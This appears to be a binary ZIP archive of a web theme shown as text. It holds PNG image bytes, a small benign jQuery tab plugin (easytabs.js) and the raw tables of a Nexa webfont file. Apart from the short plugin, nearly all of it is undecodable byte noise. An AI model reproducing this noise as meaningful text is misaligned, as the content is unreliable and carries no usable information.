��qSw���35R�HQ�A�<�Wk�9�]}��r��ԓ��l���(2�.Caʃ�����߸lWz5�'mȼ�h����v���nL;}�n�AV��r.L��5O!�]~��������܏;���͊?�F:d�����1q�>Y��(���g��Ķ�41]���n�ѐ�=��ʤ�Onζ')rL
�?)���Y�=1�����0Jd���Y�͵b�;S�Hx����6�~�s4�B��4�3L:��|�14��ĭyѱ>r���v��?���I��M#u�?n�YJ՞��L���i�Fʃ����Oʴ��t�8Aٍ�#��[%������㴎�@�;��;�iḡ��P�6��DN=8��G�w�	k}ٱ~r�7���y��O<#'?7�ԥ��R�ss�I���a'0�A�@�I���8��'�)NP�ә�5e����Vy;��x�������M;c&<3c)��'r�Y�L>r�F���W�s%���|�Γ�|�9�uM�lm���9Ϥ1�caʃ����qZ�O:S��l�3�k��0�=2g?�
�v��q77ᓛv�LxFSԒ�Oğ屣��|��
T����O!�s�,�sD��<	�'$'����X�F*~n�3��Lnһ��9
&�O㴊�t�8A�Ng&�1�0LdO��� o�y7pE�;=�iḡ�a8Ep��L�E���s7���'U��v4j�R1�����ƷaD���bb�����V&����[q#�ٔ9
&�O㴊�t�p��Ge��Dw��(�}~���n�3ߙj����ϴ�_Y��	���l&=��`،�@�:���ϩf��0�O�����)�~�Z]�-̏L�L�,{%��lk&5��w��?{)rL
���i?�L�K^چ�O1��A"��pK&o�'�b�B�!�m�<��c�G3�9م#��=p��<QN5S�Gv'�C�6�pc�)��tvd�6�f������Lj03t8c�� g�����i�V����Q�q�h����J� ���oW��f�fq`�[��͟i���ʷ�+�S������<��N�1��49;@.ɖ������ Ԓ�:��H��q1�D� /L-{!ߵ��,�ό�~S�4�8?��*~қ�?�ɳ��S���n��RNӻ/
�gÜ��Ay����g�f���E_����O9�C��#Չ����"ȳl�m��O?��<]�)?�c�kEf疝��f:�IɌؿ��dʃ����qZ�O�S���YT-D�w�� ����t��F혩N�ũ6��?���L��Yu���u.�(˂�
�V�pښ�k�S�h���9�؜N�;�'Y
<��\|�4��Ǐu�둕� g�����i�V����q��\�dd""U��Ȕ����4�ʻ�헐?��H�:=w��M&u�00�V�4x���`i4��Ȕ�6�����F�@��`��I�������1g����Vgz�IΌ�DžP{R�4�8?��*~�H�n]�?pHtC<�7&uxG��`y���r�,�}@	~òB��*t֒Gv��٠��َ�����3���LXe\��k��o8�]��B����Β%Õ�������-���.;?���IݓmH�є9
&�O㴊�dR�{7z�6}Vdt~�Dubկ�2�����t�,*�+���%�]��U�|Z6���q:�NN��C����Zm"%�~V�;��0�h���3Axp��*�o�}�S�غg����Nxn�ԝ��#05�A�@�I���8��'����!Q� ����v�1�`�ݦʘ�O�E�ʠD�j 8Я��D�|��֒��N�̩*vw��w�Նb{C����B�̲B�`��E�=
���\33�|�s�3x�g����΍��L���p��1My�3�`R�4N��I2���	�uX<xtE�����7�E��+�v49(�(u��q[���
��O�(<^9�'^��]���S����)'2�i�KI\�m����)7X���w w�w�>$�.;?��L�Lft�1gSL9)+��qZ�O�)��%���«<�kȱx���'�b����Y����Vm�rz�
6U��@ܨ9s�g��YZ
9o�ϝ��
=���s���iF`zg�������L�\f�T榔$�Й8?��*~�Oq�3�?j�P���=��jO��
7�%{�Y��n��ڠp� 8$�0&�
Nv��g��kz�~>9[h����]��?���e��c�8�:�y�(�$]�Ƥ��i�V�)��R�ٚ$�y���f���7X�Wȷ���?�}G�}8���$0&���:z*O������g�
�LW[�W�s"(sv٩��o�L�����+�dD"��qZ�O�p�<��I �G�yj��>a�oFD~V4������X�iՏ_�G�1:�w��׼U_+�<[�T_���8��~���3��e����N�w2�.�:������,%c��8?��*~2.�i��|�z)���I��O��#'{�U�}��|L��K.��>�\x���q[�=�ǹ�Q6K�w�a0ת!M���)W��X��S�sߠ�Թ��'�&&�dX5��qZ�O��p��^�Yr]qe���k�>a+�y��!=)���#��u���Yë.�����c|\M��å8��5mD�k��yw%�O��Bz�ۼ�)��37@[f����N�Y`&u.s	<�b̔��eL
���i?��
�GTh�p�����À���O�E�I�t�=�)mx�q�;dG�c���Qn]��1���C��ӌ��e���.%��3����Pu���)~xv�.;�=Kfu�Թ�5xg۰)%c�80)p~�U�dJ
|D�-n�8��n<��CU��'̢��9ARtBZd�LñP;\�q{���Frb���7�(�u��A��Pe���6{V��KƏ1̕�9��N�w]�VZ.���ZTJ��2�L
���i?���-������
�F��hq�,����a�N0}�M";TΖ���-�JwZlL�#AL���g�N���#@L��O�>�Vr��+`P����?n�S�sߠ����ᮕ�RJ&�qcR�4N�������2�5�%��%Y�V�0�.��qO^���^�<Z3JΛw�0���i�s�_(�{$M����4G��G�ͽ�y��k�%]!���(9���bK}�Ys��H�o�O�¿*Z&�hK��J��>�������O��/���4|�@�q��W�!��p�':_h��yi���V�@��~w/\/4���4�@��!$�������
!8</
����@I�!�վ��BC�K/d:�B��_VW���
!8</
����@����
B�K/d:�B��������/�|g�f�w
!�祁2^�Μ�����/4���4�@��!���u�W��]u�/+~{��@!d:���_��߭'��4��M/
|����@��=�}��/�]�B�4�@��!��/�t~�L
���_޼��^�tx 䛃��w|Ǣ����/oB����/�|{���-�r_����݄���2^������}�#}ׯ����.�]�m�^x ����+��~o���?!�4�@��!��W�o���B!
/�\����7T�����/�!��^������B!�/�\����ܙ_��B�[�!�c�%��f��_�!��&�@�EI�Mv�����O!�}���+3������>���B!o/���_m_�����O!���R����Q��E�B�^!�B��B!�r!x �B!�B�@!�Bȅ��B!���!�B!�B!�B./�B!�\�����oI����kIEND�B`�PK!c.|�::6bluetheme/assets/fonts/Nexa/specimen_files/easytabs.jsnu&1i�(function($){$.fn.easyTabs=function(option){var param=jQuery.extend({fadeSpeed:"fast",defaultContent:1,activeClass:'active'},option);$(this).each(function(){var thisId="#"+this.id;if(param.defaultContent==''){param.defaultContent=1;}
if(typeof param.defaultContent=="number")
{var defaultTab=$(thisId+" .tabs li:eq("+(param.defaultContent-1)+") a").attr('href').substr(1);}else{var defaultTab=param.defaultContent;}
$(thisId+" .tabs li a").each(function(){var tabToHide=$(this).attr('href').substr(1);$("#"+tabToHide).addClass('easytabs-tab-content');});hideAll();changeContent(defaultTab);function hideAll(){$(thisId+" .easytabs-tab-content").hide();}
function changeContent(tabId){hideAll();$(thisId+" .tabs li").removeClass(param.activeClass);$(thisId+" .tabs li a[href=#"+tabId+"]").closest('li').addClass(param.activeClass);if(param.fadeSpeed!="none")
{$(thisId+" #"+tabId).fadeIn(param.fadeSpeed);}else{$(thisId+" #"+tabId).show();}}
$(thisId+" .tabs li").click(function(){var tabId=$(this).find('a').attr('href').substr(1);changeContent(tabId);return false;});});}})(jQuery);PK!�S���2bluetheme/assets/fonts/Nexa/nexa_light-webfont.ttfnu&1i�0FFTMf��<GDEFX GPOSz!,Oxv(GSUBl�t�w� OS/2v�/w�`cmapt���x �cvt #%z.fpgmS�/�zDegasp|�glyf�d�H|��headp���6hhea���$hmtx�<��loca<�x	��maxpF� nameP�z��\post-$��prep�)m��	webf�RX��=���0���}��
,latn��kern�o�
u�������v<f|������� R|�(����F��		�

.
H
�
�:db�
nD����Jh�.8>p����
������ ���������
.
.
.
.
.
.bbbbV�������(JJJJ....������� ���&$��%&!-��0!7<=��D��EHI!K!OS!UW!����������������������!���������������������������1B!��!1!L���B!��������%&��(P)/2��3�/4��5�P6�o7�8�/9!:�1<��D/EF��GJ��M/R��T��V��W�X��Y�PZ�?[\��]������P�P�P�P��������������������/��/��/��/����/�/�/�/�/�/�/�����������������������������������������������W++9=?D/F��G/H/KL!MPN/O!P]1�/�/�/�/�/�/�/����/�/�/�/�!�!�!�!1%/&��7�q9/<�=PD1E/F��G1H!J��K/M?N/OBR��S?T��W�`Y�PZ��[!\�]1������1�1�1�1�1�1�1����!�!�!�!��������������������������J$�%`0`7P8`9`:P;P<`=/DqEPF��GqH?I/JK?LBNPOBP1R��S?T��WqXPYPZq[?\q]P���������������`�`�`�`�`�q�q�q�q�q�q�q����?�?�?�?�B�B�B�B�������������������P�P�P�P�q�q����`��+��++?++������������+����������8?=?J!V?X1Y��\���?�?�?�?�1�1�1�1������(?4?7P9`J/\���?�?�?�?������
%!-��D�����������������������)��3��5��7��8��9��D��J��M��QS/UP\������������������������������������������*��-��4��57�+9�+:�BG��I��J+T��W��Y��Z��[B')*-+24+6+9��:��<��JKY������������)���+?.B0+3+5?7+JK+P+W+Z+
)+4+7��9��:��;��KM+P+Z+-7T9:MT[+*+,2+7?9?<?I+�����+�+�+�+�+�+�?�+�?5��7��9��:��<��H\�����������������-7B:+;��D��H��J��M��Q��R��X�����������������������������������������������������������������������92��4��5��8��D��F��G��H��J)P��Q��R��T��V��W��X��Y��Z��\��]�����������������������������������������������������������������������������������������������������������������7�+9�+:�+J+	:��D�������4+7��9��:��;��E&:��;��<��D��F��G��H��J��R��T��U��WY+Z+\+����������������������������������������������������������+�+�����7��9��:��<�������6?7?8+=KMVUZ+\T�+�+�+�+�T�T
J?KNPST)U)WY��Z��?�8+9B:B<V=+D�F�G�H��I��J�L��P�Q�R��S�T�U�+V�W��X�Y�+Z�B[�?\�B]�V�+�+�+�+�V����������������������������������������������������������������������B��B����V
:��;��G��J��K��N��P��S��T��U��Y��Z��[��5D�TF�TG�VH�?I��J�+K��L��N��P�jQ�jR�?S�jT�VU�jV�jW��X�jY��Z��[��\��]�j��T��T��T��T��T��T��T��T��?��?��?��?��������������j��?��?��?��?��?��?��j��j��j��j��������?5<VD�VF�TG�VH�VJ�TK��L��P��Q��R�?S��T�VU��V��W��X�Z��[��\��]���V��V��V��V��V��V��V��V��T��V��V��V��V�����������������?��?��?��?��?��?����������������?�VG��H��J+MmR��W��Y��Z��\�����������������������������������������G�I��J�K��N��P�VS�TT�U�TY��Z��[��JBE��M+W��Y��Z��P��W��Y��Z��\��]��������JT)HM+X��Z������������������K��N��P��W��Y��Z��[��7+9?:T<+J��L��Q��R��U��V��X��[���+�������������������������������������������������+KMYZ[?\��
X��Y��Z��\��������������������-V[+.R��Y+\+�������������������+�+���S��W��X��Y��Z��\��������������������W��Y��Z��W��Y��Z��[��W?XY?Z+[+\?�����?�?Z?[+\+�+�+[+\]����
-1+6+7T9:<+MTV[+�+�+�+4D�F�G�H��I��J�K��L��N��P�VQ�TR�S�TT�U�TV�+X�BY��Z��[��\��]�V������������������������������������������T��������������B��B��B��B��������(E��G��I��J��K��L��M��N��P��Q��R��S��T��U��V��W��X��Y��Z��[��\��]��������������������������������������������������������
K��N��P��W��Y��Z��[��\��������/��6��G�P�V�j
"*,02=!DN-PR8UU;YZ<��>��N��S��Z��j��p��q��t[�)\�
�|n*�!�#�%'�-H."1�2F3�9�>�C�E�FbG�JVKL
M,NNNdO�O�PP�P�Q�V�P�Zt[f�$��$��$��$��$��$��%%%%%%&!&!&!&!&!&!-��-��-��-��-��-��0!0!0!0!0!0!777777<<<<<<=��=��=��=��=��=��D��D��D��D��D��D��EEEEEEHHHHHHI!I!I!I!I!I!K!K!K!K!K!K!OOOOOOS!S!S!S!S!S!UUUUUUW!W!W!W!W!W!�������������������������������������������������������������������������������������������������������������������������������!�!�!�!�!�!��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������B�B�B�B�B�B!!!!!!������������������������������������������������%%%%%%&��&��&��&��&��&��(P(P(P(P(P(P)/)/)/)/)/)/2��2��2��2��2��2��3�/3�/3�/3�/3�/3�/4��4��4��4��4��4��5�P5�P5�P5�P5�P5�P6�o6�o6�o6�o6�o6�o7�7�7�7�7�7�8�/8�/8�/8�/8�/8�/9!9!9!9!9!9!:�1:�1:�1:�1:�1:�1<��<��<��<��<��<��D/D/D/D/D/D/EEEEEEF��F��F��F��F��F��GGGGGGJ��J��J��J��J��J��M/M/M/M/M/M/R��R��R��R��R��R��T��T��T��T��T��T��V��V��V��V��V��V��W�W�W�W�W�W�X��X��X��X��X��X��Y�PY�PY�PY�PY�PY�PZ�?Z�?Z�?Z�?Z�?Z�?[[[[[[\��\��\��\��\��\��]��]��]��]��]��]���������������������P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P��������������������������������������������������������������������������������������������������������������/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/��/�������������������/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������++++++999999=?=?=?=?=?=?D/D/D/D/D/D/F��F��F��F��F��F��G/G/G/G/G/G/H/H/H/H/H/H/KKKKKKL!L!L!L!L!L!MPMPMPMPMPMPN/N/N/N/N/N/O!O!O!O!O!O!PPPPPP]1]1]1]1]1]1�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�������������������/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�/�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!&%/%/%/%/%/%/&��&��&��&��&��&��7�q7�q7�q7�q7�q7�q9/9/9/9/9/9/<�<�<�<�<�<�=P=P=P=P=P=PD1D1D1D1D1D1E/E/E/E/E/E/F��F��F��F��F��F��G1G1G1G1G1G1H!H!H!H!H!H!J��J��J��J��J��J��K/K/K/K/K/K/M?M?M?M?M?M?N/N/N/N/N/N/OBOBOBOBOBOBR��R��R��R��R��R��S?S?S?S?S?S?T��T��T��T��T��T��W�`W�`W�`W�`W�`W�`Y�PY�PY�PY�PY�PY�PZ��Z��Z��Z��Z��Z��[![![![![![!\�\�\�\�\�\�]1]1]1]1]1]1�������������������������������1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�������������������!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�������������������������������������������������������������������������������������������������������������������������������������������������������������$�$�$�$�$�$�%`%`%`%`%`%`0`0`0`0`0`0`7P7P7P7P7P7P8`8`8`8`8`8`9`9`9`9`9`9`:P:P:P:P:P:P;P;P;P;P;P;P<`<`<`<`<`<`=/=/=/=/=/=/DqDqDqDqDqDqEPEPEPEPEPEPF��F��F��F��F��F��GqGqGqGqGqGqH?H?H?H?H?H?I/I/I/I/I/I/JJJJJJK?K?K?K?K?K?LBLBLBLBLBLBNPNPNPNPNPNPOBOBOBOBOBOBP1P1P1P1P1P1R��R��R��R��R��R��S?S?S?S?S?S?T��T��T��T��T��T��WqWqWqWqWqWqXPXPXPXPXPXPYPYPYPYPYPYPZqZqZqZqZqZq[?[?[?[?[?[?\q\q\q\q\q\q]P]P]P]P]P]P�������������������������������������������������������������������������������������`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�`�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�q�������������������?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�B�������������������������������������������������������������������������������������������������������������P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�P�q�q�q�q�q�q�q�q�q�q�q�q�������������������`�`�`�`�`�`f8?8?8?8?8?8?=?=?=?=?=?=?J!J!J!J!J!J!V?V?V?V?V?V?X1X1X1X1X1X1Y��Y��Y��Y��Y��Y��\��\��\��\��\��\���?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1�1������������������������������������H(?(?(?(?(?(?4?4?4?4?4?4?7P7P7P7P7P7P9`9`9`9`9`9`J/J/J/J/J/J/\��\��\��\��\��\���?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?������������������������������������<%!%!%!%!%!%!-��-��-��-��-��-��D��D��D��D��D��D���������������������������������������������������������������������������������������������������������������������������������)��)��)��)��)��)��3��3��3��3��3��3��5��5��5��5��5��5��7��7��7��7��7��7��8��8��8��8��8��8��9��9��9��9��9��9��D��D��D��D��D��D��J��J��J��J��J��J��M��M��M��M��M��M��QQQQQQS/S/S/S/S/S/UPUPUPUPUPUP\��\��\��\��\��\���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������')')')')')')******-+-+-+-+-+-+2222224+4+4+4+4+4+6+6+6+6+6+6+9��9��9��9��9��9��:��:��:��:��:��:��<��<��<��<��<��<��JJJJJJKKKKKKY��Y��Y��Y��Y��Y���������������������������������������������������������)�)�)�)�)�)������������������x*+*+*+*+*+*+,,,,,,2+2+2+2+2+2+7?7?7?7?7?7?9?9?9?9?9?9?<?<?<?<?<?<?I+I+I+I+I+I+�������������������������+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�?�?�?�?�?�?�+�+�+�+�+�+�?�?�?�?�?�?Z5��5��5��5��5��5��7��7��7��7��7��7��9��9��9��9��9��9��:��:��:��:��:��:��<��<��<��<��<��<��HHHHHH\��\��\��\��\��\���������������������������������������������������������������������������������������������;��;��;��;��;��;��D��D��D��D��D��D��H��H��H��H��H��H��J��J��J��J��J��J��M��M��M��M��M��M��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��X��X��X��X��X��X��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������V2��2��2��2��2��2��4��4��4��4��4��4��5��5��5��5��5��5��8��8��8��8��8��8��D��D��D��D��D��D��F��F��F��F��F��F��G��G��G��G��G��G��H��H��H��H��H��H��J)J)J)J)J)J)P��P��P��P��P��P��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��T��T��T��T��T��T��V��V��V��V��V��V��W��W��W��W��W��W��X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��]��]��]��]��]��]��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������6:��:��:��:��:��:��DDDDDD�������������������������������������������:��:��:��:��:��:��;��;��;��;��;��;��<��<��<��<��<��<��D��D��D��D��D��D��F��F��F��F��F��F��G��G��G��G��G��G��H��H��H��H��H��H��J��J��J��J��J��J��R��R��R��R��R��R��T��T��T��T��T��T��U��U��U��U��U��U��WWWWWWY+Y+Y+Y+Y+Y+Z+Z+Z+Z+Z+Z+\+\+\+\+\+\+�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������+�+�+�+�+�+�+�+�+�+�+�+������������������������������$7��7��7��7��7��7��9��9��9��9��9��9��:��:��:��:��:��:��<��<��<��<��<��<��������������������������������Z6?6?6?6?6?6?7?7?7?7?7?7?8+8+8+8+8+8+======KKKKKKMVMVMVMVMVMVUUUUUUZ+Z+Z+Z+Z+Z+\T\T\T\T\T\T�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�T�T�T�T�T�T�T�T�T�T�T�Tz������8+8+8+8+8+8+9B9B9B9B9B9B:B:B:B:B:B:B<V<V<V<V<V<V=+=+=+=+=+=+D�D�D�D�D�D�F�F�F�F�F�F�G�G�G�G�G�G�H��H��H��H��H��H��I��I��I��I��I��I��J�J�J�J�J�J�L��L��L��L��L��L��P�P�P�P�P�P�Q�Q�Q�Q�Q�Q�R��R��R��R��R��R��S�S�S�S�S�S�T�T�T�T�T�T�U�+U�+U�+U�+U�+U�+V�V�V�V�V�V�W��W��W��W��W��W��X�X�X�X�X�X�Y�+Y�+Y�+Y�+Y�+Y�+Z�BZ�BZ�BZ�BZ�BZ�B[�?[�?[�?[�?[�?[�?\�B\�B\�B\�B\�B\�B]�V]�V]�V]�V]�V]�V�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�V�V�V�V�V�V��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������B��B��B��B��B��B��B��B��B��B��B��B�������������������V�V�V�V�V�V>D�TD�TD�TD�TD�TD�TF�TF�TF�TF�TF�TF�TG�VG�VG�VG�VG�VG�VH�?H�?H�?H�?H�?H�?I��I��I��I��I��I��J�+J�+J�+J�+J�+J�+K��K��K��K��K��K��L��L��L��L��L��L��N��N��N��N��N��N��P�jP�jP�jP�jP�jP�jQ�jQ�jQ�jQ�jQ�jQ�jR�?R�?R�?R�?R�?R�?S�jS�jS�jS�jS�jS�jT�VT�VT�VT�VT�VT�VU�jU�jU�jU�jU�jU�jV�jV�jV�jV�jV�jV�jW��W��W��W��W��W��X�jX�jX�jX�jX�jX�jY��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]�j]�j]�j]�j]�j]�j��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��T��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��������������������������������������������������������������������������j��j��j��j��j��j��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��j��������������������������������������?��?��?��?��?��?><V<V<V<V<V<VD�VD�VD�VD�VD�VD�VF�TF�TF�TF�TF�TF�TG�VG�VG�VG�VG�VG�VH�VH�VH�VH�VH�VH�VJ�TJ�TJ�TJ�TJ�TJ�TK��K��K��K��K��K��L��L��L��L��L��L��P��P��P��P��P��P��Q��Q��Q��Q��Q��Q��R�?R�?R�?R�?R�?R�?S��S��S��S��S��S��T�VT�VT�VT�VT�VT�VU��U��U��U��U��U��V��V��V��V��V��V��W��W��W��W��W��W��X�X�X�X�X�X�Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]��]��]��]��]��]���V�V�V�V�V�V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��T��T��T��T��T��T��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��V��������������������������������������������������������������������������������������������?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��?��������������������������������������������������������������������������������������?��?��?��?��?��?�V�V�V�V�V�V�G��G��G��G��G��G��H��H��H��H��H��H��J+J+J+J+J+J+MmMmMmMmMmMmR��R��R��R��R��R��W��W��W��W��W��W��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0P��P��P��P��P��P��W��W��W��W��W��W��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��]��]��]��]��]��]��������������������������������������HHHHHHHM+M+M+M+M+M+X��X��X��X��X��X��Z��Z��Z��Z��Z��Z���������������������������������������������������������������������������������������������������7+7+7+7+7+7+9?9?9?9?9?9?:T:T:T:T:T:T<+<+<+<+<+<+J��J��J��J��J��J��L��L��L��L��L��L��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��U��U��U��U��U��U��V��V��V��V��V��V��X��X��X��X��X��X��[��[��[��[��[��[���+�+�+�+�+�+�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������+�+�+�+�+�+0KKKKKKMMMMMMYYYYYYZZZZZZ[?[?[?[?[?[?\\\\\\������������<X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��������������������������������������������������������������������������������������������������������������HR��R��R��R��R��R��Y+Y+Y+Y+Y+Y+\+\+\+\+\+\+�������������������������������������������������������������������������������������������������������������+�+�+�+�+�+�+�+�+�+�+�+������������������HS��S��S��S��S��S��W��W��W��W��W��W��X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��\��\��\��\��\��\��������������������������������������������������������������������������������������������������������������X��������������HW?W?W?W?W?W?XXXXXXY?Y?Y?Y?Y?Y?Z+Z+Z+Z+Z+Z+[+[+[+[+[+[+\?\?\?\?\?\?�������������������������?�?�?�?�?�?�?�?�?�?�?�?\��Z?Z?Z?Z?Z?Z?[+[+[+[+[+[+\+\+\+\+\+\+�+�+�+�+�+�+�+�+�+�+�+�+[+[+[+[+[+[+\\\\\\]��]��]��]��]��]��������������\B�B�BN------1+1+1+1+1+1+6+6+6+6+6+6+7T7T7T7T7T7T999999::::::<+<+<+<+<+<+MTMTMTMTMTMTVVVVVV[+[+[+[+[+[+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+�+8D�D�D�D�D�D�F�F�F�F�F�F�G�G�G�G�G�G�H��H��H��H��H��H��I��I��I��I��I��I��J�J�J�J�J�J�K��K��K��K��K��K��L��L��L��L��L��L��N��N��N��N��N��N��P�VP�VP�VP�VP�VP�VQ�TQ�TQ�TQ�TQ�TQ�TR�R�R�R�R�R�S�TS�TS�TS�TS�TS�TT�T�T�T�T�T�U�TU�TU�TU�TU�TU�TV�+V�+V�+V�+V�+V�+X�BX�BX�BX�BX�BX�BY��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]�V]�V]�V]�V]�V]�V��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������T��T��T��T��T��T��������������������������������������������������������������������������B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B��B�������������������������������������������������E��E��E��E��E��E��G��G��G��G��G��G��I��I��I��I��I��I��J��J��J��J��J��J��K��K��K��K��K��K��L��L��L��L��L��L��M��M��M��M��M��M��N��N��N��N��N��N��P��P��P��P��P��P��Q��Q��Q��Q��Q��Q��R��R��R��R��R��R��S��S��S��S��S��S��T��T��T��T��T��T��U��U��U��U��U��U��V��V��V��V��V��V��W��W��W��W��W��W��X��X��X��X��X��X��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��]��]��]��]��]��]��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<K��K��K��K��K��K��N��N��N��N��N��N��P��P��P��P��P��P��W��W��W��W��W��W��Y��Y��Y��Y��Y��Y��Z��Z��Z��Z��Z��Z��[��[��[��[��[��[��\��\��\��\��\��\��������������������������������������/��/��/��/��/��/��6��6��6��6��6��6��G�G�G�G�G�G�P�P�P�P�P�P�V�jV�jV�jV�jV�jV�j)	"#%)*-.034579:;EGIJKNPTUWYZ[��������������B+�����)T?++?+++++?BV+++++)����)������������������+�B����T��V�B+��B))+��������j)����������)������+)+����+��)&&''((,,//11226688<<==	DD
FFHHLL
OOQQRRSS����������������������
��������
��������������,&&''((,,//1122	6688
<<==DDFFHH
LLOOQQRRVVXX\\]]����������	��	��
����������
����������������	����$$&(,,//126688	<=
DDFF
HHLLOOQS����$��*��1��A��G��H��I
latn�����3�3�f��@JFBRC@
��X��� ��0 
~���Sx�� 
    " & / : _ �!"����
 ���Rx��     " & / 9 _ �!"�������������n�J���������������5� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������qdei�v�pk�uj��rglz��cnm{�b����������ַ�������w�������������������x��gTX\`m�o�`dhkoy]MZD�,�K�LPX�JvY�#?�+X=YK�LPX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-��DdU.�/<��2��<��2�/<��2��<��23!%!!D �$��hU��D�b�	&�+�
/�ֱ��+�	�+016463bQQQ8hd))d)4y��o���0�+�3�	+�2�/�ֱ��+��	+01333o\�Z�����;��O�+�333�+�333�+�$3��	

$2�
+�$3��$2� /�ֱ��+��
+�@	+��+��
+�@	+��+��!+�6�=��+
�>�z+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

